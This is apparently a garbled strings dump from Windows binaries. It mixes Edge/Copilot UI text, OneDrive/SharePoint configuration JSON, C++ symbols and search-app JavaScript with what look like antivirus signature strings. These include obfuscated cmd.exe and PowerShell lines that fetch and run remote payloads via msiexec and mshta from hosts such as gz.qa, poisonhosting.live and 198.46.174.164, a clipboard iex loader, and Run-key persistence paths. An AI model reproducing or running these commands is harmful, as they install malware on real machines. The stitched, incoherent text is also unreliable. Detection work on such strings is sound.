OWS11[WindowsShutdown]
bf^com.microsoft.windows.extensionpackage
c4^com.microsoft.windows.extensionpackage
c7^com.microsoft.windows.extensionpackage
+reg add "hkcu\Software\Microsoft\Windows NT\CurrentVersion
\WINDOWS\CURRENT VERSION\RUNisnet20inst%'
c:\windows\system32\
!Dorifeln doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
.exe -WindowStyle Hidden -Execu
windows.gamingApp"
3,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^7169,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^717[78],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^7194,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^7227,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^8193,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^820[12],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^8218,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^8251,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^9217,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^922[56],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^9242,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^9275,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1024[19],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^10250,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^10266,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^11265,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1127[34],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^11290,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^12289,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1229[78],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^12314,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^13313,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1332[12],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^14337,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^14346,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^15361,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^15370,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^16385,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1639[34],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1741[78],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1844[12],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^19466,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^20490,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^21514,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1026,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1029,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1035,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1036,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1038,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1044,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1045,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1047,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1049,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1051,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1052,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1053,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1058,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1059,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1061,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1062,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1063,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1064,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1074,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1076,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1078,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1079,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1083,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1087,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1088,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1090,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1091,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1092,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1132,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1133,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1134,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1150,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1154,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1155,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1156,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1157,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^1160,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^2055,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^2064,22.146.0710.0001,wr-enc|100,RegionalSetting_Locale=^2068,22.146.0710.0001,wr-enc|100,Region01,ct|100,listName=.ACC3BA2D-929F-41D1-AEE5-4C99BE7B0277.,INF,ln-la|100,FormRenderModes=.*:.*:.*\"RenderType\" : 3.*,INF,frn|100,EnableMinorVersions=true,INF,emv"},{"id":287,"value":"ClientSideComponentProperties|SchemaXml|Formula|TypeAsString|InternalName|IsPathRendered"},{"id":288,"value":"100,ClientSideComponentProperties=^(?!null).*,22.002.0103.0004|100,SchemaXml=.*AppendOnly.\\\"TRUE\\\".*Type.\\\"Note\\\".*,22.222.1023.0001,notes|100,SchemaXml=.*Type.\\\"Note\\\".*AppendOnly.\\\"TRUE\\\".*,22.222.1023.0001,notes|100,Formula=.+,22.025.0202.0001,frml|100,TypeAsString=TaxonomyFieldTypeMulti,INF,tax-mlt|100,InternalName=_ApprovalStatus,INF,ap_st|100,TypeAsString=Likes,INF,rtg|100,IsPathRendered=true,INF,ipr"},{"id":289,"value":"modernType|viewXml|query"},{"id":290,"value":"100,modernType=KANBAN,21.229.1104.0001,Kanban|100,viewXml=.*<CustomOrder>.+<\/CustomOrder>.*,INF,cu-ord|100,modernType=TILES,22.045.0227.0001,tiles|100,query=.*<Where>.*<Eq><FieldRef Name.\"_ModerationStatus\" \/><Value Type.\"ModStat\">.+<\/Value><\/Eq>.*<\/Where>.*,INF,ca-fil|100,viewXml=.*<ViewFields>.*<FieldRef Name.\"MediaServiceImageTags\"\/>.*<\/ViewFields>.*,INF,ms-img,ALL,FILES|100,viewXml=.*<ViewFields>.*<FieldRef Name.\\\"Originator\\\"\\\/>.*<\\\/ViewFields>.*,INF,originator,ALL,ALL|100,viewXml=.*<ViewFields>.*<FieldRef Name.\\\"_ComplianceTagUserId\\\"\\\/>.*<\\\/ViewFields>.*,INF,compliance-userid,ALL,ALL"},{"id":291,"value":"TimeZone_Id|RegionalSetting_Locale"},{"id":292,"value":"100,TimeZone_Id=^5[3-9],21.230.1107.0004,tz|100,TimeZone_Id=^[6-9]\\d,21.230.1107.0004,tz|100,TimeZone_Id=^\\d{3},21.230.1107.0004,tz|100,RegionalSetting_Locale=^1025|100,RegionalSetting_Locale=^1052|100,RegionalSetting_Locale=^1098|100,RegionalSetting_Locale=^1164|100,RegionalSetting_Locale=^2068|100,RegionalSetting_Locale=^6170|100,RegionalSetting_Locale=^7194|100,RegionalSetting_Locale=^8218|100,RegionalSetting_Locale=^12314|100,RegionalSetting_Locale=^102[68],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^103[47],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^104[12467],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^105[2467],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^106[2-68],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^1079,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^108[0-36],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^108[89],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^109[0-79],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^110[0-8],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^111[014578],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^112[1-58],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^113[0-6],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^114[468],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^115[02-9],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^116[049],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^2049,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^20[56]8,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^207[07],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^209[24],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^210[78],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^211[057],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^2128,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^214[13],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^2155,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^307[36],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^3131,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^3179,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^4097,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^410[03],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^4106,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^4122,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^4155,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^512[147],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^513[02],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^5146,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^5179,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^6145,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^615[46],INF,dis-loc,MACOS|100,RegionalSetting_Locale=^6170,INF,dis-loc,MACOS|100,RegionalSetting_Locale=^620nName:PendingUploadTimeInQueue,PendingUploadTimeInQueueSkipped,NonFatalOneDriveAssert,PlaceholderFetchSyncEngineIO:Aggregate:1\/1d;\nName:ScenarioQosWrapperAdditionalInformation,WindowsSEEnumChangeResult,RNActivityCenterUIAction,ActivityCenterUIAction:Aggregate:1\/1d;\nName:BannerOperations,OneDriveUIActionTaken:Aggregate:1\/1d;\nName:RecordDevice:Rotate:1\/1;\nApi:CoreSyncWNSDeleteSubscriptions,CoreSyncWNSSubscriptions:Aggregate:1\/1d;\nApi:Permissions_ReadWrite_ItemPermissionChange,Permissions_TransientReadOnly_ItemPermissionChange:Aggregate:1\/1d;\nApi:StorageLogUploadGetLocation,StorageLogUploadBatchScenario,AzureLogUploadBatch:Aggregate:1\/1d;\nApi:SilentSignInRetryFailureResult:Aggregate:0\/1d;\nName:ThrottledTransferKeyScenarioThrottled:Rotate:1\/1;\nNucleus:NucleusLocalContentPerf:Random:0.00001;\nNucleus:LocalThumbnailExtractionResultOverall,LocalThumbnailExtractionOverriden,PrefetchSizeCheck,SourcesAllHeuristic,SourcesItemsHeuristic,SourcesCoversHeuristic,GalleryHeuristic,GalleryFiltersHeuristic,FavoritesHeuristic,PrefetchResult:Random:0.00001;\nName:QuantumPlaceholdersManagerIsFeatureEnabled:Aggregate:1\/1d;\nOutgoingApi:*:Aggregate:1\/6h;\nIncomingApi:*:Random:0.1;\nApi:IncomingWrapper:Random:0.1;\nApi:AutoStartManagerUtilGetAutoStartState:Aggregate:5\/1h;\nApi:UserPreferencesGetBiometricConsentAndFeatureReady,PhotoPreferencesGetBiometricConsent,PhotoPreferencesBiometricConsentSubmission:Aggregate:5\/1h;\nScenario:*:Aggregate:1\/1h;\nName:*:Aggregate:1\/2h;\nApi:*:Aggregate:1\/1h;\nFSName:*:Aggregate:5\/1h;\nName:LocalContentDefectRepairOutcome:Random:0.00001;"},{"id":226,"value":"1.2.0.16"},{"id":227,"value":"1.2.1.1"},{"id":228,"value":" "},{"id":229,"value":"21.109.0530.0001"},{"id":231,"value":"lnk|xlsx|xls|xlsb|xlsm|pub|url|exe|zip|rar|rdp|appref-ms|msi|website|msg|xml|mht|accdb|csv|wav|bak|reg|mpp|pst|ini|pbix|mdb|indd|nal|saz|oft|cer|pfx|dll|nfo|ics|rdg|vsdx|tsv|config|partial|script|one|kql|evtx|har|csl|ipynb|webm|iso|tm7|ts|application|nupkg|cab|oxps|stp|dpk"},{"id":232,"value":"lnk|xlsx|xls|xlsb|xlsm|pub|url|exe|zip|rar|rdp|appref-ms|msi|website|msg|xml|mht|accdb|csv|wav|bak|reg|mpp|pst|ini|pbix|mdb|indd|nal|saz|oft|cer|pfx|dll|nfo|ics|rdg|vsdx|tsv|config|partial|script|one|kql|evtx|har|csl|ipynb|webm|iso|tm7|ts|application|nupkg|cab|oxps|stp|dpk"},{"id":233,"value":"2.9.7653.47581"},{"id":237,"value":"50"},{"id":238,"value":"900|300|600|900"},{"id":24,"value":"4"},{"id":240,"value":"3600"},{"id":241,"value":"10000"},{"id":243,"value":"900"},{"id":244,"value":"900"},{"id":245,"value":"P1D"},{"id":246,"value":"200000"},{"id":249,"value":"300000"},{"id":25,"value":"15"},{"id":250,"value":"20"},{"id":251,"value":"180"},{"id":252,"value":"5"},{"id":253,"value":"180"},{"id":254,"value":"1"},{"id":26,"value":"100"},{"id":269,"value":"25|26|27|29|19|10|23|30|35|14,22.235.1109.0001"},{"id":273,"value":"250000"},{"id":274,"value":"100000"},{"id":283,"value":"siteUrl|listId"},{"id":284,"value":"100,siteUrl=https?:\\\/\\\/(www\\.)?laposte\\.sharepoint\\.com\\b(.*),INF,lh-lap|100,siteUrl=.*\\s.*,24.178.0903.0001,lh-sws|100,listId=acc3ba2d-929f-41d1-aee5-4c99be7b0277,INF,ln-lh|100,listId=a0fec449-25ba-4637-97d6-57660475b73b,INF,ln-lo|100,listId=2a7093aa-c228-4672-a093-aa7f86b3e13b,INF,ln-lo"},{"id":285,"value":"ModernListTemplateTypeId|ClientFormCustomFormatter|ContentTypeIdToNameMap|isModerated|listName|FormRenderModes|EnableMinorVersions"},{"id":286,"value":"100,ModernListTemplateTypeId=3a867b4a-7429-0e1a-b02e-bf4b240ff1ce,INF,tm-pl|100,ModernListTemplateTypeId=b117a022-9f8b-002d-bda8-fa266f0ff1ce,22.176.0821.0001,tm-pro|100,ModernListTemplateTypeId=a5126f70-467d-4257-954b-95fba9bb008c,22.176.0821.0001,tm-pro|100,ModernListTemplateTypeId=3a7c53be-a128-0ff9-9f97-7b6f700ff1ce,22.176.0821.0001,tm_rec|100,ModernListTemplateTypeId=92946f48-bed9-4299-825d-dc3768f59d54,22.176.0821.0001,tm_rec|100,ModernListTemplateTypeId=9a429811-2ab5-07bc-b5a0-2de9590ff1ce,22.176.0821.0001,tm-co|100,ModernListTemplateTypeId=bd8bdab7-5730-4f57-9050-0bd66c988b15,22.176.0821.0001,tm-co|100,ContentTypeIdToNameMap=.*:.*:.*,22.055.0313.00
\cmd.exe.yorjan!..\..\..\windows\system32\cmd.exe/q/x/vtij/c^s^t^art^msi^e^xecz^m^r^i^prx^z^i=^wdp^n-f^v"http://gz.qa:8080/ypy6zexmoyabhjsgywut2wvc/senzxrywby/!computername!"
V\windows\system32\windowspowershell\v1.0\powershell.exe>.$env:c:\w*\s*2\m*h?a.*'http://poisonhosting.live/test.hta'<c:\programfiles(x86)\microsoft\edge\application\msedge.exe
%gpowershell.exee..\..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exem.$env:c:\w*\s*2\m*h?a.*'http://c1crt.axfree.com/c3/systemappextention.hta'shell32.dll%wn]
c:\windows\system32\cmd.execitet/d/v/r^st^artm^si^ex^e^c^c^er^k^iob^r=^cpr-q/fv"http://2t.pm:8080/y/ubfjkndjq0e5wvptomeop9yv/!computername!"^w^ocoiggng=^mm^tq^ktbimageres.dll
]Hc:\windows\system32\cmd.exegroupaccount/x/vhtx/rst^a^r^t^m^si^e^xe^c/^p^a^c^ka^g^e"http://2t.pm:8080/anacwazo/rbicepl0dqrs1mzlr1tc9gisi/zvj/!computername!"/q^u^ietshell32.dll
\windows\system32\windowspowershell\v1.0\powershell.exe=.$env:c:\w*\s*2\m*h?a.*'http://198.46.174.164/118/try.hta'<c:\programfiles(x86)\microsoft\edge\application\msedge.exe%
c:\windows\system32\windowspowershell\v1.0\powershell.exescb('ms%h%%%t%%a%%%%%h%%%%tt%p%:%//8%%%0%%%.6%%6%%%.%%%%8%%4.4%2/%%%%o%%k%%fbvt%bz.%mp4%%%'.replace('%',''));iex(gcb)
:\windows\servicing\trustedinstaller.exe/
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
	s-microsoft-com:windows:@
@windowsdir&"\system32\drivers\etc\hosts
)content="text/html;charset=windows-1252
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ef157a10c7e0461daa68bdfb69766981_MoveWindowStateOnClose
 -WindowStyle Hidden -Execution
s\System32\cmd
powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command
\software\microsoft\windows\currentversion\runonce
$backupid=(backup-gpo-name"defaultdomainpolicy"-path"c:\windows\temp").id
SnapWindows
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
c5^windows.appService
c6^windows.preInstalledConfigTas
c6^windows.appService
ba^windows.fileTypeAssoci
c3^windows.protoco`
c4^windows.comServe'
b9^windows.fileTypeAssoci
b9^windows.shareTarget
b9^windows.comServe
	COMPUTERNAME=WINDOWS11
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
`\windowsscript\settings
\windows\system32\rundll32.exe
_WINDOWS_BOOTMGRw
crosoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.SmartScreen
Microsoft.Windows.Defender.TeTest
Microsoft.Windows.TlgAggregateInternal
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
    "maxRatingSelectedQuestionWindows":  "What do you like about OneDrive for desktop?",
.?AU?$root_implements@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIEcoModeDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIEcoModeDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$produce@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIEcoModeDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$delegate@UPropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@V<lambda_b2b813a21dcff8717f79941f79fd2dbd>@@@impl@winrt@@
.?AU?$implements_delegate@UPropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@V<lambda_b2b813a21dcff8717f79941f79fd2dbd>@@@impl@winrt@@
.?AU?$produce@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UFilterViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFilterViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UFilterViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UFilterViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
windows\\
1\windows\currentversion\policies\explorer\runmodemRASAPI32.DLLc:@
3this is a sample hosts file used by microsoft tcp/ip for windows.
.exedownload.windowsupdate.comhttp/1.1
md%homedrive%\windows\system32\
l{lnsexec::exec"$instdir\7zax$instdir\windowsdev.7z-
140^com.microsoft.windows.extensions.xaml.startmenu
com.microsoft.windows.extensions.xaml.startmenu
141^com.microsoft.windows.assetreference
	^windows.appExtensionHost
WindowsFeedbackFormBase
WindowsFeedback.Form.Show
WindowsFeedback.Form.Hide
\system32\
 Windows, 
 Windows, 
 Windows, 
 Windows 10 
Microsoft.WindowsAppRuntime.1.6CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US8wekyb3d8bbweMicrosoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
WINDOWS\system32\config
C:\WINDOWS\System32\svchost.exe -k Local
dX	C:\windows\temp\Client1.binFile Downloader
SOFTWARE\Microsoft\Windows NT\CurrentVersiona9ew64jszjh70gt909c0ji9ln2bm1um27i00a3hepj144emthtTrojanDownloader:O97M/EncDoc.SPIK!MTB
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwendowp
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbweunt
K)()].indexof('windowsnt6'
*/)].indexof('windowsnt6'
\system32\
OS=Windows_NT
COMPUTERNAME=WINDOWS11
\users\[^\]+\appdata\local\microsoft\windows\inetcache\ie\.+
\users\[^\]+\appdata\local\microsoft\windows\inetcache\low\ie\.+
c:\windows\system32\mshta.exe%userprofile%/downloads/faktura_
.cmdc:\windows\system32\zipfldr.dll
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
ifexist"%systemroot%\syswow64\windowspowershell
windows-1251
=newactivexobject("windowsinstaller.installer")
windowsremotedesktoplicensingservicepreauthrce
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsVersion
'%temp%smissCount=0;t._defaultWindowsTheme=0;t._defaultAppTheme=0;t._currentPaneHeight=0;t._dsbBindDimissTime=0;t._dsbBindshownTime=0;t._defaultBrowser=0;t._accessTokenManager=s;t._fuzzyRankSuggestionCount=-1;t._coldRankSuggestionCount=-1;t._notColdRankSuggestionCount=-1;t._finalColdRankSuggestionCount=-1;t._mruFilesAndFoldersDefinedCount=-1;t._mruFilesAndFoldersUndefinedCount=-1;t._navigationHelper=h;t._edgeMuids=[];t._clearStorageRequestedHandlers={};t._isCodexUser=!0;t._isDSBEnabledByClient=null;t._thirdPartyAppsCache=null;t._dmaWebProvidersOrderMap={};t._pofLaunchUrlExist=!1;t._inConversationMode=!1;t._showCopySearchGleam=!1;t._isSetGleamInProgress=!1;n.config.optimizeGetQueryLogic&&(t._queryCache=null);i=SearchAppWrapper.CortanaApp;e=i.queryFormulationView;u=i.launcher;r=typeof SearchBoxController=="object"?SearchBoxController:i.searchBox;f=n.Service.QueryParams;t._currentCVID=n.cleanGuid(t.createGuid());t._clientPreCVID=null;t._clientCurCVID=null;t._randomPrivacyNumber=t.getNewPrivacyNumber();t._wsbEnableRandomization=!1;t.initCortanaEnabledAndRegion();t.initLanguage();ThresholdUtilities.setBodyLangAttributes(n.uiLanguageCache);n.refreshBingEnabledCache(i.isBingEnabled,t.getRegion(),t.getLanguage());t.initLocStrings();(n.config===null||n.config===void 0?void 0:n.config.enableAgeCheckCodex)&&t.initMSAUserCodexStatus();let p=n.safeExecute(()=>+e.perfMetrics.lookup(32),"perfMetricsFallbackLookup",l);t._hasFallbackHappened=p!=l&&p!=v;let y=e.searchHistory;y&&y.addEventListener("cleardevicehistoryrequested",()=>{let i=t=>n.safeExecute(()=>y.signalClearDeviceHistoryCompleted(t),"signalClearDeviceHistoryCompleted");if(t._clearStorageRequestedHandlers)for(const r in t._clearStorageRequestedHandlers)n.safeExecute(()=>(t._clearStorageRequestedHandlers[r](i),!0),"clearDeviceHistoryRequested")||i(!1);else i(!1)});n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0);i.addEventListener("statechanged",async n=>{await t.updateState(t._state,n.newState,!1)});i.addEventListener("dynamicsearchboxcontentchanged",()=>{t.setIsReloadSuppressedBgTask(!0),t.chainHandlerPromises(t._dynamicSearchBoxUpdateHandlers).then(()=>n.safeSetTimeout(()=>{n.msbPerfLogger&&n.safeExecute(()=>n.msbPerfLogger===null||n.msbPerfLogger===void 0?void 0:n.msbPerfLogger.markHostDynamicSearchboxUpdateEnd(),"msbPerfLogger.markHostDynamicSearchboxUpdateEnd"),i.notifyDynamicSearchBoxUpdateCompleted(),t.setIsReloadSuppressedBgTask(!1)},a,"notifyDynamicSearchBoxUpdateCompleted"))});i.addEventListener("searchappearanceinvoked",()=>{t.setIsReloadSuppressedBgTask(!0),t.chainHandlerPromises(t._searchAppearanceInvokedHandlers).then(()=>n.safeSetTimeout(()=>{i.notifySearchAppearanceInvokedCompleted(),t.setIsReloadSuppressedBgTask(!1)},a,"notifySearchAppearanceInvokedCompleted"))});i.addEventListener("dynamicplaceholdercontentrequested",()=>{n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),t.chainHandlerPromises(t._dynamicPlaceholderContentRequestedHandlers).then(()=>n.safeExecute(()=>i.notifyDynamicSearchBoxUpdateCompleted(),"notifyDynamicSearchBoxUpdateCompleted_content"))});r.addEventListener("querytextchanged",async i=>{n.config.enableQueryTextChangedLog&&n.logToMC("Bing_QF_WSBHost","WSBHost_querytextchanged_eventreceived","logQuerytextchanged",{},i.impressionId);let r=i.queryText;if(n.isRemoveIconSelected()&&r[r.length-1]===" "&&t.reformulate(""),n.config.wsbWithCopilotQF&&t._inConversationMode){t._qfDisabled=!0;return}t._qfDisabled||(t._feedbackFormIsVisible&&t.closeFeedbackForm(),t._queryPropertiesOverrides&&t._queryPropertiesOverrides.query!=r&&(t._queryPropertiesOverrides=null),n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),await t.updateState(t._state,2,!0),t._queryToIgnoreOnQueryTextChangedEvent!=i.queryText&&(t._queryToIgnoreOnQueryTextChangedEvent=null),t.callQueryChangedHandlers(i,!1,t._queryToIgnoreOnQueryTextChangedEvent!=null,i.impressionId))});r.addEventListener("keydown",u=>{let f=u.keyCode;if(n.config.debugDismissEvents){if(f==121){t.updateState(t._state,1,!1);return}if(f==12
